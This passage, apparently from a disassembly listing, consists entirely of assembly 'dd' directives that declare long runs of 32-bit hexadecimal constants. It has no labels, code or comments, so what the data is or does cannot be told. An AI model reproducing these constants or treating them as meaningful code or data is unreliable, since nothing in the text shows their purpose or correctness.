		dd 3E07548Eh, 0B1D54F26h, 583AB9C0h, 0AA52E9Bh,	3D810154h
		dd 3D61B5E1h, 28FE24BCh, 1DDA500h, 0FBB1BD5h, 4E12F6Ch
		dd 89B04193h, 20EB451Eh, 4B00E561h, 2B82DCB7h, 305CD0h
		dd 0F940B147h, 61969168h, 1C265CB1h, 0AF481500h, 12DE7ABh
		dd 0CFE5E15Dh, 0C4F01EDEh, 80028356h, 0F9A21135h, 9490E85Ah
		dd 0F26C00E3h, 0BBDB91B8h, 160764AFh, 1BFE5A87h, 19455C00h
		dd 55C90FC7h, 9C0BF875h, 2C7AFC80h, 5800ADA0h, 0B8D24777h
		dd 3FD1CB7h, 710872CDh,	5BA8DA14h, 0A40017E6h, 536DDBACh
		dd 0AF32EBh, 0A3194485h, 2F62794h, 400A5Ch, 0F9435C79h
		dd 4818B4h, 4135661h, 1237B70h,	3F168C00h, 6ECECFD3h, 0E1E50394h
		dd 0E24FD683h, 303491F1h, 5300A400h, 72C7607Eh,	0E7405Eh
		dd 5563D93h, 26071FB5h,	0E0F1D41Fh, 6EBECB40h, 515876h
		dd 0FE7B574Fh, 0E21633BAh, 35000F90h, 6EA8DD97h, 1691C5C6h
		dd 20647B6Fh, 6D2E4F38h, 0D37AD200h, 48E8C76Eh,	6259009Ch
		dd 5336F716h, 3C9E4156h, 0DC06AB04h, 0E4944C97h, 0ACE8F4C0h
		dd 0A5160119h, 6DF6B192h, 0C354D812h, 5E93Ah, 22FA41FCh
		dd 0B37DC9h, 56437F87h,	0B92D587Ch, 0BC77C500h,	0B5BA3539h
		dd 4C880054h, 0FE07297Eh, 0D17D8A3Ah, 0C3C9D702h, 0E28272D9h
		dd 0BFF0611Fh, 0A700186Dh, 816F63CBh, 0D587164h, 275B00DAh
		dd 0D9BC5835h, 24930026h, 8474A614h, 59008D89h,	37EE5DD8h
		dd 26D402DDh, 1140E290h, 3B037B49h, 4FB4CE99h, 64081D84h
		dd 196B476Fh, 7BDE9069h, 0F31281ACh, 0F040F1D7h, 0D074C0ECh
		dd 512A16CAh, 2038C7D1h, 0DF0D8AE2h, 0B01DED0Eh, 4B8F005Ah
		dd 740C145h, 9D21C25Ch,	4C7B0335h, 213D809h, 0D10A0B0h
		dd 16FDE749h, 459443D1h, 80229D20h, 0EE700A50h,	0D6F7D905h
		dd 0C01F1859h, 4D7E5E47h, 0E230D527h, 0F04B359Bh, 74D00008h
		dd 0F48E0E40h, 0B8007A93h, 4F66C4AAh, 7B5F5179h, 0F2B1122Bh
		dd 0CC440046h, 37D41B6Dh, 99E080h, 11FB543Bh, 9F123322h
		dd 30008173h, 4AE4EA29h, 0CD55E1h, 5ADA246Ch, 0BB457452h
		dd 0B7004092h, 0EC86320Fh, 123B51EBh, 420A9581h, 0A8581344h
		dd 56ABA18h, 0F2420F4Eh, 84B4B0B4h, 8C2A0207h, 0FC702589h
		dd 0EA1E15h, 4110EFFFh,	489BB26Dh, 0A4126028h, 494DA210h
		dd 0ACFD1276h, 3CF0009Fh, 0F1AD757Dh, 27258EB8h, 9EB0A36Dh
		dd 7485995Eh, 0E666D850h, 827E96h, 4E9501A7h, 4428FA1Ah
		dd 0D32434EBh, 6EB1E100h, 74017265h, 34510092h,	0C3D0A2FAh
		dd 6190A973h, 422A3E00h, 455D31F9h, 63F01A3h, 0BCDB5748h
		dd 0D77420B5h, 8E00FEF6h, 3BB911EFh, 67F3DE8Fh,	1CDB09Ah
		dd 602C8664h, 0B4046990h, 9E4C835Bh, 97D0E4h, 204B92D8h
		dd 88F28E5Ah, 1E736601h, 3E539377h, 5E6FB06Fh, 0D82CB613h
		dd 80BC3609h, 1D054CB4h, 0E13B887Bh, 0FFACDD5Fh, 0D1459016h
		dd 0E0DB3F64h, 0CCB87AADh, 95E5B500h, 27BE9CDAh, 35920155h
		dd 118CEFE3h, 75A04176h, 4EB8A69Bh, 21071604h, 0E5C01C80h
		dd 0AACA88Fh, 38469801h, 0AC50FC36h, 672F008Bh,	8E32BA45h
		dd 8C3F0C31h, 0F520815Ah, 8336513Bh, 23A2AECh, 8B2F81FAh
		dd 5449CFD8h, 0F800D626h, 40770F61h, 2D003C3Dh,	0CA5E88E6h
		dd 7EE846h, 9DBEA368h, 0BFAF060Bh, 95AAD00h, 0F62653D9h
		dd 0B9F31FC9h, 67904057h, 0B8C8A03h, 0ABA7CF00h, 881035C0h
		dd 0E59780CCh, 860FEAh,	5CB58DECh, 0A74154F6h, 3F2BDA00h
		dd 0B95E251h, 0D6460116h, 804B3929h, 71CBDCD7h,	34B8C203h
		dd 0B8DC37B4h, 245BA843h, 5C1331h, 4E23C306h, 4B5AED38h
		dd 953A5C02h, 58540Eh, 644AFE3h, 0D8F0C813h, 0E9CDF609h
		dd 934901AAh, 5C602AADh, 0C0DF4871h, 1D02F02h, 0D460A967h
		dd 975C8370h, 96EC0064h, 682DE62Eh, 0EE70B0EFh,	1F9E198Eh
		dd 0BA1AE8D2h, 53E91E20h, 81BAD78Eh, 0F8DBB748h, 316BDC0h
		dd 59DE9506h, 1CE8EAE0h, 0FE001737h, 4061B9EFh,	95577C6h
		dd 6C58CFD0h, 32A098A1h, 41E030EEh, 0B32B9A08h,	0E39F004Ah
		dd 0C7A328B1h, 4F832A00h, 6D91CDA1h, 7B12036Fh,	5C394A87h
		dd 0C4B08690h, 97C7B400h, 79AD2925h, 89FD1C78h,	0F421C05Dh
		dd 91D20230h, 0FC224A40h, 0DC448ADBh, 1889E800h, 46D994E3h
		dd 1FC813FCh, 3588033h,	0D100B9D8h, 93B27A06h, 0E869C47Bh
		dd 0C8D75D5Bh, 0E352A500h, 9CB6D23Bh, 35E7809h,	0A0D8406Ch
		dd 7ED8A85Bh, 6EA90A5Ah, 0BCB3C1h, 8750CF46h, 0E80C3B4Ch
		dd 2814DCC4h, 0C55A49h,	32ACF084h, 1FB88E5Dh, 66D68C03h
		dd 80520DDFh, 0F8A13Dh,	60D4E58Dh, 0EF91F590h, 0B4B249h
		dd 5DD2054Dh, 715FE6h, 0C2B92617h, 76AF5BEAh, 0AE69C006h
		dd 9C17EBEh, 0EB0E36FAh, 0C6B4C001h, 0E019807Dh, 12633376h
		dd 545804DAh, 0C88F2C82h, 2A059EC8h, 0C22E5E3Eh, 2CF23090h
		dd 5CCB00CCh, 0D0611EE6h, 0C40BAE23h, 58822Bh, 27148C4h
		dd 0B61902D9h, 0A441A55Eh, 33EB3C63h, 0C1E6D4D0h, 65000898h
		dd 0F46F8061h, 2C421FFCh, 0FAE5D1h, 2BF3274Eh, 0F007ED31h
		dd 9C407AC0h, 30A0D645h, 49F9004Bh, 619F48F4h, 2F73FCEFh
		dd 0EC218A00h, 1AAFCFA5h, 0A991FE4h, 5542C354h,	0BCFAC9F5h
		dd 0CD130DC0h, 8F22F101h, 30C7A426h, 35020028h,	17C93D38h
		dd 7F36BDC0h, 145A121Eh, 7EAD6840h, 0F2D06F24h,	136900B2h
		dd 0BE41BCD1h, 300089DBh, 8F27BAEBh, 3C4980Bh, 7D91646Eh
		dd 0F809BF8Bh, 80FA5D34h, 51C2A2B8h, 0C3082E5Ch, 0D51107E8h
		dd 0D18845CDh, 0C4358920h, 0D32412F7h, 0CB0796BEh, 0F4016DB9h
		dd 8870332Dh, 8D1E0053h, 0BE4AA302h, 50137674h,	570E7E54h
		dd 0E681402Dh, 490E5337h, 210014D7h, 1CD0ACB8h,	520004DDh
		dd 4F888C98h, 0A5ED47h,	3E16860Ah, 9A6CBB1Eh, 279B5900h
		dd 0BFC7B92Eh, 0EB520211h, 6AC21753h, 6C7CB2E1h, 0BC010064h
		dd 16529F61h, 41320033h, 0F11353B7h, 0C00FCA3h,	2EF49E43h
		dd 0BABB3483h, 0EE68026Ch, 0D71B2A9Ch, 4E806C71h, 6B623132h
		dd 389D7789h, 3900C6DEh, 0B78528D5h, 200292BEh,	0BC599B0Ch
		dd 6D28C8E1h, 0DED80E0Dh, 51CF87F8h, 3EF41DEh, 0FC867853h
		dd 0C400A34Bh, 7B18D7ECh, 93F3BFEh, 3DB52F5Ch, 114AB050h
		dd 6967B0C0h, 0CE41006Ch, 0B74F7409h, 6A0F8607h, 1625D7Dh
		dd 2B7897CDh, 0D4947980h, 4BC3B766h, 3EEBAE0Ah,	6983E0E8h
		dd 37F8EC8h, 6A48F129h,	8D8472h, 268DE0E4h, 1D1338EAh
		dd 1C00C6ACh, 0F4CEDE93h, 4E3400E3h, 76E7C4F8h,	0C07BB53h
		dd 3A39BA9h, 0FE00D46Ah, 62B9BD2Ah, 91DF00FFh, 293BB0B5h
		dd 0CF031654h, 2471EB1Fh, 0EEAF0B3h, 1E4D0274h,	3C9FEDFEh
		dd 0F0377CE0h, 37A2D00h, 2A6D1DFDh, 6B822625h, 0C05F965Ch
		dd 0B98F344Ch, 99A6BD01h, 0ECACBCE4h, 0AAC89C40h, 0CC162F2Ah
		dd 4D916400h
		dd 0B620CA54h, 0DCF522F9h, 8801AB4Fh, 0E6B7AF0h, 8A1E142Ch
		dd 927DCB96h, 1D8C400h,	0C701918Fh, 0D16C2849h,	0B020D27Bh
		dd 23CF155Ch, 8800A8F4h, 82F20F60h, 48C1B1C9h, 0B59D3984h
		dd 487C5420h, 6D8068F3h, 0D0C5349Fh, 83D38C1h, 703089B0h
		dd 0B880008Fh, 88E49C91h, 4E0097DEh, 3D1D37F3h,	64ABA3h
		dd 0F591CF62h, 0BC72306Fh, 85021E03h, 0A0BA0AB4h, 7B0318D3h
		dd 45B300ECh, 584ABD43h, 8401BCB1h, 54867951h, 12E8A5A4h
		dd 6D9A0232h, 0B5AABA09h, 58A6545Eh, 0EFBC2A00h, 0ECD0D6B6h
		dd 0BCA05407h, 0E030094h, 6FA3B797h, 4300D770h,	0E5F546CCh
		dd 1D16302Eh, 4B118284h, 8000EFBh, 879FA2D1h, 0B4E4B00h
		dd 0D7F26763h, 0B057A3Fh, 0CF7EB9ADh, 0CCFFE400h, 0B7000CB4h
		dd 0DC281A89h, 121D13E9h, 0F604F8h, 0E011B650h,	4317CBDEh
		dd 6009A465h, 0FEBC9013h, 4084BE96h, 6ED67DCBh,	0B4394E26h
		dd 0BB415580h, 141D28h,	589E599Dh, 8371BAEDh, 0F9D41104h
		dd 6A838BF2h, 513E9054h, 823C02F3h, 0FBF009C3h,	702670D0h
		dd 5C09B0CAh, 0C5126h, 74D07F87h, 0E8A0D9EFh, 40003D25h
		dd 557E30B4h, 7C36FFh, 21C0F358h, 7966F02Fh, 2CB8D700h
		dd 7E9957ABh, 5C714872h, 41BD0E75h, 0BB200BFBh,	2C94C413h
		dd 3EFA9D01h, 30850CDBh, 131FFC8h, 0E67F7DDCh, 20B129CFh
		dd 1DF004A4h, 0B8A15B28h, 0FC8EFF81h, 8D0546B5h, 6E638FC9h
		dd 512354C0h, 4B0B00DAh, 0DB53913Ch, 250BD6B7h,	0C2B592B0h
		dd 9ABB60C8h, 0F9B00B4h, 0A5B39302h, 0D10B7261h, 2044CA49h
		dd 8D8C2DCCh, 0BD3A007Bh, 921B669Ch, 960003B4h,	4CA6536Fh
		dd 15DB4E48h, 0F4ACF4E1h, 8879B300h, 5CBA1935h,	7598DD50h
		dd 60E6BE27h, 4098638h,	12A99925h, 0A868E098h, 62C08200h
		dd 0AA152DFAh, 0DFD40693h, 40CDC118h, 0CA8890A3h, 49764D6Ch
		dd 18C748h, 64354718h, 24121A14h, 0B0669Eh, 5F00A9Dh, 0C058A5BAh
		dd 0EAB201E4h, 1729C1ADh, 0A0D9B8E8h, 75918488h, 20CCB401h
		dd 88B483FCh, 514B8FDDh, 0FBC8EAD8h, 4A4C0359h,	42AC5575h
		dd 517127A8h, 0B1006677h, 0C287D838h, 0FEED50FDh, 459F00DFh
		dd 266CD9F8h, 1736E47h,	7C5C0AFCh, 0AC0B00EBh, 5B8BDCABh
		dd 19460ECAh, 0EEC077C1h, 0F2C4D701h, 0E297F000h, 23273B8Bh
		dd 1CFBF2A8h, 0C4917102h, 0BD22C701h, 1AD30044h, 97BD0C4Dh
		dd 7C7100E9h, 4AD857A0h, 470B9AC7h, 419CDDF8h, 0DC248A20h
		dd 6E790040h, 96DA55A1h, 433B8E3Ch, 786D00F9h, 0D65FF5B8h
		dd 4ABC0C1Ah, 3E693A07h, 5575CC7Fh, 0A9C3C104h,	8CBC52BFh
		dd 0C0748290h, 7F15B428h, 0AD1CB92Dh, 0D0D63178h, 5B6F807h
		dd 0B4F500CFh, 0C2B04B7Dh, 9CFACE20h, 6086D00Bh, 74C2505Ah
		dd 5F001F1Bh, 4AC73B75h, 1CE50D6h, 0C6360FF5h, 0E01B6CC1h
		dd 0BF2AAEC3h, 8E4344DFh, 0ACF80D20h, 0A1237812h, 223AE4F2h
		dd 45E6610Eh, 2E186820h, 0CEE805DEh, 0E2048726h, 0F0258A00h
		dd 0A0A11B8Ch, 7767738Dh, 27AD07BCh, 0B6DDF602h, 593EC8A4h
		dd 21B19810h, 0AC31F79h, 65B92319h, 5DBE0C98h, 21C00A08h
		dd 919CB74h, 0C1131308h, 1EB84054h, 0D6B2715Eh,	6CC6B51Dh
		dd 0F7893DC0h, 601381Dh, 42BB884Dh, 0A5EC1897h,	1FB7C8C1h
		dd 10430B6Dh, 6939630Ah, 27B2903Fh, 4FF060DDh, 0A29A3E0Eh
		dd 91E84E75h, 0F8217BD4h, 9E90C3B8h, 9DB9C33h, 9B210067h
		dd 8FF4FB19h, 9A1FB4B1h, 53C0ED7Ch, 2A8AC06Bh, 7670C067h
		dd 9FD61A44h, 0A7B0E4A8h, 89438C0Ah, 910CE0A0h,	0C30A0898h
		dd 8CBF5D99h, 0D1301698h, 65B2B514h, 0DE586224h, 497004Fh
		dd 0BF7828B7h, 160E7100h, 0DB171CE2h, 8C783877h, 0B45DB500h
		dd 55537ABBh, 22A54C00h, 59A380Eh, 0E1140025h, 3E72B57Bh
		dd 0C1008FDEh, 0FE154511h, 34856h, 3BBD25DAh, 0E1A37D4Fh
		dd 0ABEF9A00h, 600C0694h, 0B5970082h, 79A7D062h, 1100B7B0h
		dd 0BF423BFAh, 0F8E2DB72h, 87ED018Fh, 649C4608h, 0DA433095h
		dd 0A300EFE2h, 587ED59Fh, 0DFB525A2h, 0C175430h, 0A7E3C307h
		dd 583BC074h, 85049823h, 0E2EE5C8Bh, 0E7051300h, 0A100EA0Dh
		dd 0F16999E8h, 0E24DEBDh, 0DAB67B1Dh, 17435B4Fh, 0EDABD3CDh
		dd 3D8B81C8h, 5561340Fh, 0C0240EABh, 73F14BA5h,	173300EAh
		dd 40FF1A8Ah, 4D30F08Dh, 2E280D1h, 10133866h, 0A35BC78Eh
		dd 0F87DE1A0h, 8B00CFDCh, 607ED4EEh, 605CCCE7h,	6EDDA1EBh
		dd 0D3009828h, 6C40AAA8h, 0E4D90E9Fh, 88600120h, 93B43663h
		dd 1586C4E8h, 0BE41E00h, 354458B0h, 0B5F70285h,	0B76BCFDDh
		dd 2ABC94A3h, 21251900h, 55A60392h, 516926EAh, 7C7B0154h
		dd 80E34BEFh, 3C442A90h, 0EED7CDB6h, 0A9B91950h, 4AA8103Dh
		dd 0A92A8704h, 66102Ch,	80125FB5h, 0B97A57AEh, 58844000h
		dd 0C26E6453h, 0F2DB3F71h, 17E424h, 68DEBFBAh, 2900908Fh
		dd 88F36F55h, 284F14h, 4004257Bh, 13C70697h, 29FFB100h
		dd 0C450BAECh, 0DBF11F4Fh, 792500A0h, 0D3BDD984h, 0A72F1B00h
		dd 547B586h, 0DE51009Ch, 0F7E2176Ch, 6600BF37h,	0CBE4C1CDh
		dd 3D935804h, 4E80D364h, 0EC602B57h, 40304C36h,	3FE83980h
		dd 83320722h, 0E1D4EF8Ah, 0FCA5110Ah, 0CC5C195Fh, 0CE2103A6h
		dd 0F880865Bh, 3FB553Ah, 683852DBh, 0FAE37C30h,	17E09F82h
		dd 0C7003AE4h, 0C8C17A16h, 73F57DDEh, 95F101F2h, 0D9260BDh
		dd 35B8F0BEh, 6CDF7700h, 0BCC975B7h, 5BB00705h,	71038EAFh
		dd 0E8D5C0FDh, 9514C66Eh, 58BC3E87h, 5634007Fh,	0BEA52829h
		dd 0ECC80022h, 0B5153135h, 0A10136E4h, 77D01738h, 1F20F99Ch
		dd 0BF750C1Ah, 0DAF1D81Ch, 0B4C493Eh, 0FA0AB3h,	8C6D3B58h
		dd 54D47190h, 311F83Ah,	0BD5482Ah, 278801F3h, 0F80049ADh
		dd 0CD236ACh, 1CFAA22h,	0D893E6ABh, 20030633h, 97F48686h
		dd 99F8FC00h, 8418DE38h, 50BB7627h, 6F82Bh, 0EA943BDCh
		dd 0C0BA3EF2h, 2D0F671Dh, 0D400026Ch, 0E2F40377h, 0AA6F0047h
		dd 70CB1CA8h, 5250B0F5h, 22CB5C8h, 7D002516h, 386BBDBCh
		dd 543E007Ah, 60B6AD61h, 0D77E4D1Fh, 8506893Eh,	37444980h
		dd 45C0C01Eh, 0CDC26B66h, 7BED8Fh, 195E10BDh, 0D300CA3Dh
		dd 85666472h, 837E4Ch, 0E5E8CD69h, 361BE4F8h, 4B00E6ECh
		dd 0FCE7BEB3h, 1216F9AEh, 40C7032Ch, 53874290h,	8A02B163h
		dd 0AAF27FA4h, 0D1C880A2h, 0A15F93h, 0BBB800Dh,	705C1844h
		dd 0CB00F472h, 6D4874DAh, 0F511C0h, 0F08F3FFCh,	0B7E083ECh
		dd 0AE911407h, 455506C4h, 0A372F043h, 0A0DCE32Eh, 0F6AB05EAh
		dd 0D0F0F113h, 5F580025h, 0C63B5A77h, 2F588D20h, 0D40A7FAEh
		dd 0F0B5EF28h, 0BBC95500h, 2C818E79h, 5D26F2h, 0AFB66402h
		dd 390768A0h, 3A6992D0h, 12FAAA40h, 4F320087h, 4DED1B2Fh
		dd 0D32D2941h, 60DFE058h, 4189169h, 80D6E96Eh, 84AF03D0h
		dd 3848E2F6h, 3C5A0064h, 894F4516h, 99610919h, 3820364Ah
		dd 66727078h, 3358301h,	0F061AE2Dh, 0F6444820h,	0F8A467B7h
		dd 75F5A0A5h, 32B09B27h, 0E564AC00h, 0B92AE8FCh, 412E035Eh
		dd 0CA0AE46Ah, 0B4342888h, 0A4AA783Eh, 57015420h, 0B7EBAFEh
		dd 0BD1EB0FFh, 0A7800D5h, 3669B364h, 831DC76Dh,	0EE016375h
		dd 73952A35h, 5203E8h, 0FF134917h, 0B1B73D6Bh, 0A2877400h
		dd 309E77D6h, 25DE0497h, 902A96F4h, 0E31FEB40h,	38E0AB30h
		dd 0FE8D5FAAh, 0D96B0E80h, 0F62070BEh, 56485DA1h, 203F218h
		dd 0E35428h
		dd 34264215h, 2A3EE410h, 0D1AF9003h, 99B7060Bh,	0E930ACCEh
		dd 271C3AF1h, 9C6528h, 17F9813Dh, 0C46B39D8h, 5C4D7900h
		dd 0A68F3B1h, 0FDFE00BFh, 72BD270Eh, 6E125221h,	5C0F42AEh
		dd 5590E046h, 48B5828Bh, 0F7017603h, 4594CD01h,	7C1E205Ch
		dd 73093C92h, 0A027C7A8h, 4775A9C0h, 242900CEh,	33C3086Eh
		dd 1E037EC0h, 77168E99h, 799D88B7h, 1BB20078h, 0EC4DE8F5h
		dd 2D004914h, 0C2FE7D52h, 3874BC9h, 612D174h, 33A29804h
		dd 834D6E40h, 79017C9Ah, 0EC0732B8h, 6431B761h,	1C03FD4h
		dd 0D57E606Ch, 0DD81DBA4h, 2BF8D8F1h, 1B5D5018h, 0E89B6929h
		dd 11E460BDh, 947F6084h, 870292FEh, 1BA5B4EDh, 74C760E8h
		dd 0D5A300E1h, 0D7ACEF72h, 6B0E67E9h, 0D30AEA1Fh, 83074000h
		dd 2ED27459h, 3DDBC8FAh, 85B4CE00h, 1DC7D8Dh, 0CF01B092h
		dd 0F461B159h, 0D4C4C19Eh, 28D30078h, 0D67213E9h, 843C9093h
		dd 187A80B6h, 6E539BEh,	58150038h, 0AD722FC0h, 2006695h
		dd 8CD50D86h, 390C99D4h, 1CD8200Bh, 0C6B62302h,	0BCC322F6h
		dd 4CBD5790h, 0C239B700h, 1446D79Ch, 7ED6001Ch,	8CCA334Bh
		dd 0CE00DC6Ch, 3A85DF2Ah, 2F13D97h, 6BC12E66h, 18C1CC52h
		dd 0E63B3015h, 173CDC00h, 0D921E8BAh, 0DFCA0F5Fh, 3120A79Ch
		dd 0A574EB04h, 66F60B00h, 0D0DD917Fh, 2FF82Eh, 6105F20Ah
		dd 55C9A89Ch, 0BCEE8A01h, 0B1C22496h, 0FE5C424h, 0DA9DE341h
		dd 6B829A00h, 6AE8C4F8h, 32CB6701h, 45816639h, 563BD050h
		dd 37A701BFh, 4C89014h,	0D0B5E83Fh, 0DA1E7A00h,	3E78ED1h
		dd 905302B9h, 5B64109Dh, 0F4F474E9h, 0A4006538h, 0EF0D97E1h
		dd 0ADBDC0h, 4E117F3Bh,	4B68FCAEh, 0F77653F4h, 0F9A43600h
		dd 9303EB9Bh, 907B000Eh, 0F3DBABC9h, 0AC2A5D27h, 0A600D44Dh
		dd 0BFEE6C7Eh, 0B8700F9Dh, 0B551645h, 42E713BAh, 2933C208h
		dd 0D2B87068h, 0B39FE800h, 0A18BE9A2h, 0FECC7CFCh, 0CA10C4BAh
		dd 0E8F24027h, 25265h, 0BCBB5A2Dh, 7A7B2A44h, 787F8200h
		dd 484C4BF9h, 0A7082E35h, 812D80D0h, 49A455E9h,	0D21D5D07h
		dd 0A670DDF6h, 0A18A3Ah, 4BE9692Ah, 55064854h, 0EA6736E0h
		dd 0C8C63D70h, 404C60B1h, 44AF35E2h, 0E7078C72h, 2DED7AA1h
		dd 0DF453C10h, 4C4D01CAh, 43E824EAh, 0C95EC67h,	0E5189D00h
		dd 4B91E3Bh, 0E9B50EECh, 5520A311h, 0EA7670D6h,	0CCE53D00h
		dd 0ED6FDC35h, 391E00CEh, 41C175E4h, 4CE44BAEh,	0E6062ECh
		dd 0A2D7C3DCh, 2A920013h, 3C1D9997h, 29E2905Eh,	0C359F907h
		dd 0D5B0B0E7h, 78E60CEBh, 0DA3400A0h, 0EC81E452h, 0E313C485h
		dd 1EFA7BCh, 35E88C55h,	899850D0h, 4362265Ch, 0A0272AF9h
		dd 0DAF072D4h, 511200A1h, 33406BBh, 2E00E718h, 0F441FA11h
		dd 3E1B657Ch, 17ACA92h,	0EBACA16Dh, 0E8D80F4Eh,	7801F0A7h
		dd 4A508DA8h, 1DEC2D59h, 6D131EC7h, 0BAEACF2Ah,	3277C0BDh
		dd 564BDE44h, 0F26ACE1Fh, 5ACD6D40h, 90FEFA78h,	0FDC10938h
		dd 4C004022h, 0DDD77685h, 4FCDD400h, 5170137Ah,	0FF3919C0h
		dd 70D76975h, 40006A64h, 13D0666Bh, 1C36FA9Ch, 8073FF31h
		dd 5BCE38B7h, 0ECF9882Bh, 0FC00494Dh, 0E1729BB4h, 9D7BC5h
		dd 0BD5BA5DEh, 27888521h, 2C8EB800h, 87BF59B6h,	3C9876h
		dd 0CEE524F9h, 405DB743h, 6F798B00h, 0B27041CBh, 286B0088h
		dd 1FC52CA1h, 0E70F2357h, 200AB419h, 0A734636Fh, 3BF269h
		dd 0ED1DF802h, 716EC13Fh, 503BE279h, 0D1C860D9h, 1897774h
		dd 6F126037h, 0CC350D4Bh, 1E00CF44h, 930932B5h,	8E6C18h
		dd 662C1498h, 54920FA3h, 799726h, 98914692h, 8028FD65h
		dd 38B20F76h, 4B76E8Ch,	40CD23E0h, 53A9ECE2h, 0F17300B3h
		dd 0EDDA2BDBh, 42009616h, 4808D429h, 0EE34CC2Ch, 62A22C0Ah
		dd 0BE5E061Fh, 46309979h, 0F7957673h, 0F55900C6h, 10976AFDh
		dd 20B05022h, 0A8244F0Eh, 9B03733Fh, 4851C31Fh,	0BF00AE99h
		dd 466B7CA5h, 4159F1DAh, 0A6CB07B4h, 91E040FEh,	5CD1D4FCh
		dd 8916A80Fh, 35904085h, 0BF555FE8h, 0FDC04D0Fh, 617E800Fh
		dd 0B49082h, 9F722368h,	460906ECh, 0CBFAA500h, 21D3D440h
		dd 0D66505C6h, 23642ADh, 0A9A5A488h, 0E17B06h, 2EA69525h
		dd 8ED712BEh, 7EFA7601h, 0ABDE0B15h, 1B4A30D8h,	0C856B64Eh
		dd 8647EBD0h, 2E00A096h, 141C02B7h, 0E44000Ch, 8EF1084Bh
		dd 522AB32Fh, 1E30B8EDh, 0D1FB3149h, 0DA0E013Bh, 0AD5816A7h
		dd 0E55434C5h, 4D935F00h, 3862C434h, 959A00B9h,	0A8743AECh
		dd 0AE0ABC9Dh, 0A88E5670h, 2A3DC680h, 0C05016AFh, 488ABE10h
		dd 910014BBh, 49C78B44h, 0B1367737h, 649F0938h,	2DD86A00h
		dd 51D939Eh, 5F82F31Bh,	0C07F74BEh, 15D6E94h, 0A7E3582Ah
		dd 0F04446B5h, 0B400471Eh, 4BE6F719h, 2C5B0AE2h, 0F579827h
		dd 0AF0069DAh, 1DD69211h, 0EF0F9113h, 0F2590881h, 2E37EDE8h
		dd 1C5CF62h, 3664D03Ah,	76807027h, 4B8F9400h, 0F4129D5Dh
		dd 9C51267h, 0DA5840E4h, 1E468C78h, 0C1CF0F17h,	28FABC07h
		dd 0CCC063A0h, 0D78400BCh, 70ED03BBh, 0E9710E54h, 0B9B24A0Eh
		dd 0EC69EDE5h, 90966A20h, 0E49D0135h, 0D0E64253h, 2808938h
		dd 0C30209Eh, 0B9C17AFh, 0A8595B01h, 8C01FC0Bh,	308E0E37h
		dd 4E2E366Ah, 4600B047h, 0C307F5B2h, 2FF4E7D9h,	688B1F97h
		dd 51964C0Bh, 1576E110h, 50E041Ch, 83F25D89h, 0F8E24A89h
		dd 1DE741B5h, 81C02367h, 5EDBA984h, 0B3F17007h,	93063B78h
		dd 172F5C2Dh, 4DEBE66Eh, 0B32EECF0h, 56514050h,	5C942974h
		dd 90812713h, 9440A597h, 10DE095h, 9DB62D14h, 0DCEE4BA7h
		dd 8B001513h, 41763725h, 12B0A9C0h, 0BCF5ADA8h,	46080143h
		dd 0DBEA1A2Ah, 0F0CA370h, 2328C018h, 0EEDB4C0h,	0F0E23CAAh
		dd 0C4CD9900h, 0F21C22C3h, 72240067h, 52F4B43h,	4F00E0A1h
		dd 4229B3E2h, 18A63CEh,	5D3B78B2h, 0D82CA781h, 2600F02Fh
		dd 94F75FF3h, 3411958h,	0AC9A6D46h, 0D9A9100Dh,	73B0FF1Dh
		dd 89EBD9Bh, 0CBF00830h, 7672DAh, 0F3EFC263h, 2572C75Ah
		dd 0A956C32Ch, 4CBCED00h, 514AF8h, 0AA78D744h, 669D0640h
		dd 0ED16A8C0h, 90C91EFCh, 1759830h, 51BCA7B0h, 0ECCE197Fh
		dd 8500AF70h, 0D2936221h, 251ECA3Ah, 0E82084E5h, 4BE0706h
		dd 220342E8h, 431944D9h, 0D120E8DCh, 9076170Bh,	0AD9F070Eh
		dd 2446C0A2h, 0CC26F456h, 2200B445h, 68EA0407h,	34940A2Eh
		dd 870B2Fh, 40CC3F81h, 1001C73h, 0E7051EBFh, 20612D2h
		dd 0EB96997Dh, 0C8805F70h, 46B08D5h, 5735FB05h,	78C87526h
		dd 7EFCB924h, 0D55FB04h, 3532ABBAh, 0C2F8C21Ah,	8BECC0FCh
		dd 0F4EA5C0Bh, 95859ACFh, 319A86C2h, 24BDBE28h,	0C8AC4C2Eh
		dd 3E8BEC2Ch, 80BCABB5h, 0A7096B00h, 0C9533CD9h, 6AABB1Dh
		dd 0E9DD719Dh, 9080B500h, 0AD4ABEB3h, 47E302E5h, 0C3EE4877h
		dd 0F9B783C0h, 6A6011F2h, 0FFBB9648h, 3E3D00A5h, 1FA8F848h
		dd 3C01AEDFh, 6D0344A9h, 0DCD48E6Ah, 0ED281D5Dh, 9D66C00Fh
		dd 0E456CA5Eh, 0EA000EF0h, 8F4BDC5Ch, 1A812BCh,	53F4E7A6h
		dd 0E4897B56h, 0B400EC14h, 0B15F7307h, 59846BBh, 82C1879Dh
		dd 0D04AC0D7h, 22038678h, 50F23CA1h, 0EA8197ABh, 38CC9C85h
		dd 775D0059h, 98B4B1C4h, 2901EC42h, 0B746603Bh,	9BE0BC14h
		dd 0B1E500D2h, 0A1026F73h, 0BAE601B3h, 8003F03Bh, 86F64823h
		dd 7E097Dh, 5B84BBF4h, 3BF95C51h, 93999109h, 0E0B0AF37h
		dd 575255E3h, 0F3FE0031h
		dd 267A2542h, 6D030E87h, 79026739h, 1A8B90FBh, 5EE060FEh
		dd 42122970h, 92886E03h, 0CFB8C116h, 0CB41B80h,	99ED0745h
		dd 0A151CC64h, 0DC3E96DAh, 0EB776C8Eh, 71A30E00h, 604D2FE4h
		dd 0CAD02CCh, 0EC7B1359h, 986F80D5h, 3A09AA58h,	0DE803C6Fh
		dd 8A4A174Fh, 3F3CD818h, 14750022h, 0F496FC81h,	0D10C27A0h
		dd 2128480Ah, 5C705704h, 0B0E0324h, 0B71233F0h,	0C6B962E7h
		dd 7B152460h, 365E880Eh, 84A7A0BDh, 1AB5B6h, 0BCFAFE1h
		dd 0A83B80CDh, 96FA1619h, 5C086F29h, 42AEEF20h,	9C3011D1h
		dd 0EC0D5321h, 81D951EAh, 12924F11h, 0EC8A10C7h, 0C908F989h
		dd 44AB9344h, 0D8440AA4h, 5422849Dh, 149F5099h,	0E1E644E2h
		dd 9E7F2284h, 22A60322h, 4542E746h, 22A5A111h, 10290F7h
		dd 284208CEh, 0C795B01Bh, 5F581200h, 312DE9E1h,	1E407A9h
		dd 0F0ACA60Ah, 4F481BAFh, 67429000h, 0FB0C970h,	0CD0A0034h
		dd 406D386Ch, 0DD0055B2h, 0D3960593h, 4A748Eh, 688FEFECh
